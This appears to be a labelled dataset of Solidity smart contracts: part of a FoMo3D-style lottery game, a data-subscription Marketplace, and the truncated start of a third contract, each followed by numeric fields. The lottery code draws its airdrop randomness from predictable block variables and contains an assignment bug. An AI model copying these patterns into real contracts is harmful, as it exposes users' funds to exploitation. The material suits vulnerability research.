rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_p3d = _p3d.add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
reward.send(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff;
uint256 _aff2;
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != 0 && plyr_[_affID2].name != "") {
_aff = _eth.mul(10) / 100;
_aff2 = _eth.mul(5) / 100;
plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff);
} else {
_aff = _eth.mul(15) / 100;
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
reward.send(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 40 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Marketplace is Ownable {
using SafeMath for uint256;
event ProductCreated(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds);
event ProductUpdated(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds);
event ProductDeleted(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds);
event ProductRedeployed(address indexed owner, bytes32 indexed id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds);
event ProductOwnershipOffered(address indexed owner, bytes32 indexed id, address indexed to);
event ProductOwnershipChanged(address indexed newOwner, bytes32 indexed id, address indexed oldOwner);
event Subscribed(bytes32 indexed productId, address indexed subscriber, uint endTimestamp);
event NewSubscription(bytes32 indexed productId, address indexed subscriber, uint endTimestamp);
event SubscriptionExtended(bytes32 indexed productId, address indexed subscriber, uint endTimestamp);
event SubscriptionTransferred(bytes32 indexed productId, address indexed from, address indexed to, uint secondsTransferred);
event ExchangeRatesUpdated(uint timestamp, uint dataInUsd);
enum ProductState {
NotDeployed,
Deployed
}
enum Currency {
DATA,
USD
}
struct Product {
bytes32 id;
string name;
address owner;
address beneficiary;
uint pricePerSecond;
Currency priceCurrency;
uint minimumSubscriptionSeconds;
ProductState state;
mapping(address => TimeBasedSubscription) subscriptions;
address newOwnerCandidate;
}
struct TimeBasedSubscription {
uint endTimestamp;
}
ERC20 public datacoin;
address public currencyUpdateAgent;
function Marketplace(address datacoinAddress, address currencyUpdateAgentAddress) Ownable() public {
_initialize(datacoinAddress, currencyUpdateAgentAddress);
}
function _initialize(address datacoinAddress, address currencyUpdateAgentAddress) internal {
currencyUpdateAgent = currencyUpdateAgentAddress;
datacoin = ERC20(datacoinAddress);
}
mapping (bytes32 => Product) public products;
function getProduct(bytes32 id) public view returns (string name, address owner, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds, ProductState state) {
return (
products[id].name,
products[id].owner,
products[id].beneficiary,
products[id].pricePerSecond,
products[id].priceCurrency,
products[id].minimumSubscriptionSeconds,
products[id].state
);
}
modifier onlyProductOwner(bytes32 productId) {
Product storage p = products[productId];
require(p.id != 0x0, "error_notFound");
require(p.owner == msg.sender || owner == msg.sender, "error_productOwnersOnly");
_;
}
function createProduct(bytes32 id, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds) public whenNotHalted {
require(id != 0x0, "error_nullProductId");
require(pricePerSecond > 0, "error_freeProductsNotSupported");
Product storage p = products[id];
require(p.id == 0x0, "error_alreadyExists");
products[id] = Product(id, name, msg.sender, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds, ProductState.Deployed, 0);
emit ProductCreated(msg.sender, id, name, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds);
}
function deleteProduct(bytes32 productId) public onlyProductOwner(productId) {
Product storage p = products[productId];
require(p.state == ProductState.Deployed, "error_notDeployed");
p.state = ProductState.NotDeployed;
emit ProductDeleted(p.owner, productId, p.name, p.beneficiary, p.pricePerSecond, p.priceCurrency, p.minimumSubscriptionSeconds);
}
function redeployProduct(bytes32 productId) public onlyProductOwner(productId) {
Product storage p = products[productId];
require(p.state == ProductState.NotDeployed, "error_mustBeNotDeployed");
p.state = ProductState.Deployed;
emit ProductRedeployed(p.owner, productId, p.name, p.beneficiary, p.pricePerSecond, p.priceCurrency, p.minimumSubscriptionSeconds);
}
function updateProduct(bytes32 productId, string name, address beneficiary, uint pricePerSecond, Currency currency, uint minimumSubscriptionSeconds) public onlyProductOwner(productId) {
require(pricePerSecond > 0, "error_freeProductsNotSupported");
Product storage p = products[productId];
p.name = name;
p.beneficiary = beneficiary;
p.pricePerSecond = pricePerSecond;
p.priceCurrency = currency;
p.minimumSubscriptionSeconds = minimumSubscriptionSeconds;
emit ProductUpdated(p.owner, p.id, name, beneficiary, pricePerSecond, currency, minimumSubscriptionSeconds);
}
function offerProductOwnership(bytes32 productId, address newOwnerCandidate) public onlyProductOwner(productId) {
products[productId].newOwnerCandidate = newOwnerCandidate;
emit ProductOwnershipOffered(products[productId].owner, productId, newOwnerCandidate);
}
function claimProductOwnership(bytes32 productId) public whenNotHalted {
Product storage p = products[productId];
require(msg.sender == p.newOwnerCandidate, "error_notPermitted");
emit ProductOwnershipChanged(msg.sender, productId, p.owner);
p.owner = msg.sender;
p.newOwnerCandidate = 0;
}
function getSubscription(bytes32 productId, address subscriber) public view returns (bool isValid, uint endTimestamp) {
TimeBasedSubscription storage sub;
(isValid, , sub) = _getSubscription(productId, subscriber);
endTimestamp = sub.endTimestamp;
}
function getSubscriptionTo(bytes32 productId) public view returns (bool isValid, uint endTimestamp) {
return getSubscription(productId, msg.sender);
}
function buy(bytes32 productId, uint subscriptionSeconds) public whenNotHalted {
var (, product, sub) = _getSubscription(productId, msg.sender);
require(product.state == ProductState.Deployed, "error_notDeployed");
_addSubscription(product, msg.sender, subscriptionSeconds, sub);
uint price = getPriceInData(subscriptionSeconds, product.pricePerSecond, product.priceCurrency);
require(datacoin.transferFrom(msg.sender, product.beneficiary, price), "error_paymentFailed");
}
function hasValidSubscription(bytes32 productId, address subscriber) public constant returns (bool isValid) {
(isValid, ,) = _getSubscription(productId, subscriber);
}
function transferSubscription(bytes32 productId, address newSubscriber) public whenNotHalted {
var (isValid, product, sub) = _getSubscription(productId, msg.sender);
require(isValid, "error_subscriptionNotValid");
uint secondsLeft = sub.endTimestamp.sub(block.timestamp);
TimeBasedSubscription storage newSub = product.subscriptions[newSubscriber];
_addSubscription(product, newSubscriber, secondsLeft, newSub);
delete product.subscriptions[msg.sender];
emit SubscriptionTransferred(productId, msg.sender, newSubscriber, secondsLeft);
}
function _getSubscription(bytes32 productId, address subscriber) internal constant returns (bool subIsValid, Product storage, TimeBasedSubscription storage) {
Product storage p = products[productId];
require(p.id != 0x0, "error_notFound");
TimeBasedSubscription storage s = p.subscriptions[subscriber];
return (s.endTimestamp >= block.timestamp, p, s);
}
function _addSubscription(Product storage p, address subscriber, uint addSeconds, TimeBasedSubscription storage oldSub) internal {
uint endTimestamp;
if (oldSub.endTimestamp > block.timestamp) {
require(addSeconds > 0, "error_topUpTooSmall");
endTimestamp = oldSub.endTimestamp.add(addSeconds);
oldSub.endTimestamp = endTimestamp;
emit SubscriptionExtended(p.id, subscriber, endTimestamp);
} else {
require(addSeconds >= p.minimumSubscriptionSeconds, "error_newSubscriptionTooSmall");
endTimestamp = block.timestamp.add(addSeconds);
TimeBasedSubscription memory newSub = TimeBasedSubscription(endTimestamp);
p.subscriptions[subscriber] = newSub;
emit NewSubscription(p.id, subscriber, endTimestamp);
}
emit Subscribed(p.id, subscriber, endTimestamp);
}
uint public dataPerUsd = 100000000000000000;
function updateExchangeRates(uint timestamp, uint dataUsd) public {
require(msg.sender == currencyUpdateAgent, "error_notPermitted");
require(dataUsd > 0);
dataPerUsd = dataUsd;
emit ExchangeRatesUpdated(timestamp, dataUsd);
}
function getPriceInData(uint subscriptionSeconds, uint price, Currency unit) public view returns (uint datacoinAmount) {
if (unit == Currency.DATA) {
return price.mul(subscriptionSeconds);
}
return price.mul(dataPerUsd).div(10**18).mul(subscriptionSeconds);
}
event Halted();
event Resumed();
bool public halted = false;
modifier whenNotHalted() {
require(!halted || owner == msg.sender, "error_halted");
_;
}
function halt() public onlyOwner {
halted = true;
emit Halted();
}
function resume() public onlyOwner {
halted = false;
emit Resumed();
}
function reInitialize(address datacoinAddress, address currencyUpdateAgentAddress) public onlyOwner {
_initialize(datacoinAddress, currencyUpdateAgentAddress);
}
} | 0 | 868 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
